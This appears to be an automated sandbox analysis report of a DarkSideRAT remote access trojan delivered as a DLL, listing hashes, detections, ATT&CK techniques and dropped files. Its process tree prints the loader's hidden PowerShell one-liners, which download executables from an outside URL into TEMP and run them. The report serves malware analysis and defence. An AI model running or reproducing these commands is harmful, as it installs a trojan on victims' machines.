darksiderat | 76f4adb94eb0c8b5ecd5cbe79f94da66f73d56df9bbf92aed5208e199d4dc016

Analysis

max time kernel
29s
max time network
29s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/09/2026, 22:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0x3z1.dll
Size 6.8MB
Sample260901-2rbm8aydrf
SHA256 76f4adb94eb0c8b5ecd5cbe79f94da66f73d56df9bbf92aed5208e199d4dc016
MD5 ee128e0089f5c794d3a3ee2be1b350b8
SHA1 10cca3c35c4cdad185c06c2d6e8d29678e64d9f0
SHA512 2e63ab18111fd5d982d2bb39fd6cbfd457f6826cb51c9aeee1c330d87900b76871139472234356bcf15ef580d3da7acd8525908dbe91ec91508a4df96e49a70f
SSDEEP 98304:3oQa0x5z+xhpOsQFbOUiMfMP84DvWKpL4GVmaydLk:3oQaM5z+xhpOsQFbxk8+vWQBydLk
TLSH
T1D576CF43A5010258D163E1B48CA75B6BEB733D690770DBCF6A900BDE5E1ABD016BFB24
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution darksiderat trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 2 IoCs

resource	yara_rule
behavioral2/files/0x001000000001c58c-23.dat	family_darksiderat
behavioral2/files/0x000f00000001c58e-34.dat	family_darksiderat

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4992	powershell.exe
5	3176	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4992	powershell.exe
3176	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
4	4992	powershell.exe
5	3176	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3712	BK743007.exe
3448	BK190967.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5296	cmd.exe
2764	cmd.exe
1612	cmd.exe
3128	cmd.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4992	powershell.exe
4992	powershell.exe
4992	powershell.exe
3176	powershell.exe
3176	powershell.exe
3176	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	3176	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1856 wrote to memory of 1612	1856	rundll32.exe	89
PID 1612 wrote to memory of 3128	1612	cmd.exe	91
PID 1856 wrote to memory of 5296	1856	rundll32.exe	93
PID 3128 wrote to memory of 4992	3128	cmd.exe	95
PID 5296 wrote to memory of 2764	5296	cmd.exe	96
PID 2764 wrote to memory of 3176	2764	cmd.exe	99
PID 4992 wrote to memory of 3712	4992	powershell.exe	102
PID 3176 wrote to memory of 3448	3176	powershell.exe	103

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\0x3z1.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK743007.exe; Start-Process -FilePath $env:TEMP\BK743007.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1612
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK743007.exe; Start-Process -FilePath $env:TEMP\BK743007.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3128
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK743007.exe; Start-Process -FilePath $env:TEMP\BK743007.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4992
    - - C:\Users\Admin\AppData\Local\Temp\BK743007.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK743007.exe"
        5⤵
        Executes dropped EXE
        
        PID:3712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK190967.exe; Start-Process -FilePath $env:TEMP\BK190967.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5296
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK190967.exe; Start-Process -FilePath $env:TEMP\BK190967.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2764
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK190967.exe; Start-Process -FilePath $env:TEMP\BK190967.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3176
    - - C:\Users\Admin\AppData\Local\Temp\BK190967.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK190967.exe"
        5⤵
        Executes dropped EXE
        
        PID:3448

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 144598ea87965a833e5c847b0c3725dee5fd45304ea32c04cc6080f73f537503
MD5 d0d3fac03f88767610f5a99b8ef62534
SHA1 ea88be022253f1717dc92755386a6b006d8e1161
SHA512 22253d382bb8cd22a7219803e10bcc5d1c070aef98e01f99ac6589d6361d6571c45b89dd5ba1ff3ad4b1c8f01508873878aab9be1526b777a8ae574c3b86c57e
TLSH
T1C921AF37B3CC8714DC8A403A50CDAC1032B5C7D7409ECF6B7B84D544B42F599CE60150
MD5 SHA1 SHA512 TLSH

Submit Download

BK190967.exe

Path C:\Users\Admin\AppData\Local\Temp\BK190967.exe
Size 56KB
SHA256 0d0a91c58d930d76a2600f1b75965a4edfb63357284c5965fb3b3f08266f0237
MD5 68ddf5f041cc9d80252e243352728396
SHA1 fb5c316bd6f4411aec73516adb311624e707d83b
SHA512 9f9a0bc1bc25f6eea49ed3f9a9e0025562ff6865e06d6c08917b182c8017aa3afecd23ea4a622e713a0430909b8dd992d0a9b33e97c8e4e7b8edba16f7c3463c
SSDEEP 768:Eb9OnCKoatcLZBTjwFrECxGazpOWp54vg5d5YP98yxA1XbXP7kW7rCVr8Z0kP:I9vatZ5tsWp0g5rBSmLYW7rCVoekP
TLSH
T13043F834EA5AB06FD35ED834DD430D16CD12BCCA97A0BB9B57915CD20EAAF209B2D341
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BK743007.exe

Path C:\Users\Admin\AppData\Local\Temp\BK743007.exe
Size 56KB
SHA256 999ec76c0eb8fdeebd7d9583eed68c4acf7b983e6d08e086a9bf6f6d81e0f1bd
MD5 e950167b7fb0845be10113967d330d26
SHA1 f6d9c02971073396fd615bb95209f45c022fdebd
SHA512 c89191d2f8c90b7d4c43616b1ec9bd5040953c3042f78b9ad13f96fbe4e6cb433d10cae2c729da29fcee96878a11c7cd17055998c1cf1e1c215328c43a9dbafb
SSDEEP 768:7b8CDi1y33B6H78VNAfRQvpJcOMhcKPPzEOWp54vg5d5YP98yxA1XbXNMkW7rCV0:XD6H78vcjHWp0g5rBSmhJW7rCVoekP
TLSH
T15C430935EA5EB06FD359C834DD470D06CE12BCCA9AA4BB9B57910CD20DEAF609B2D341
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4992-11-0x00007FF83E150000-0x00007FF83EAF4000-memory.dmp

Download

memory/4992-13-0x00007FF83E150000-0x00007FF83EAF4000-memory.dmp

Download

memory/4992-8-0x00007FF83E150000-0x00007FF83EAF4000-memory.dmp

Download

memory/4992-9-0x00007FF83E150000-0x00007FF83EAF4000-memory.dmp

Download

memory/4992-10-0x00007FF83E150000-0x00007FF83EAF4000-memory.dmp

Download

memory/4992-0-0x00007FF83E2DF000-0x00007FF83E2E0000-memory.dmp

Download

memory/4992-12-0x00007FF83E150000-0x00007FF83EAF4000-memory.dmp

Download

memory/4992-6-0x00007FF83E150000-0x00007FF83EAF4000-memory.dmp

Download

memory/4992-14-0x00007FF83E150000-0x00007FF83EAF4000-memory.dmp

Download

memory/4992-15-0x00007FF83E150000-0x00007FF83EAF4000-memory.dmp

Download

memory/4992-18-0x00007FF83E150000-0x00007FF83EAF4000-memory.dmp

Download

memory/4992-5-0x0000019620F00000-0x0000019620F22000-memory.dmp

Download

memory/4992-28-0x00007FF83E150000-0x00007FF83EAF4000-memory.dmp

Download

memory/4992-2-0x00007FF83E150000-0x00007FF83EAF4000-memory.dmp

Download

memory/4992-1-0x00007FF83E150000-0x00007FF83EAF4000-memory.dmp

Download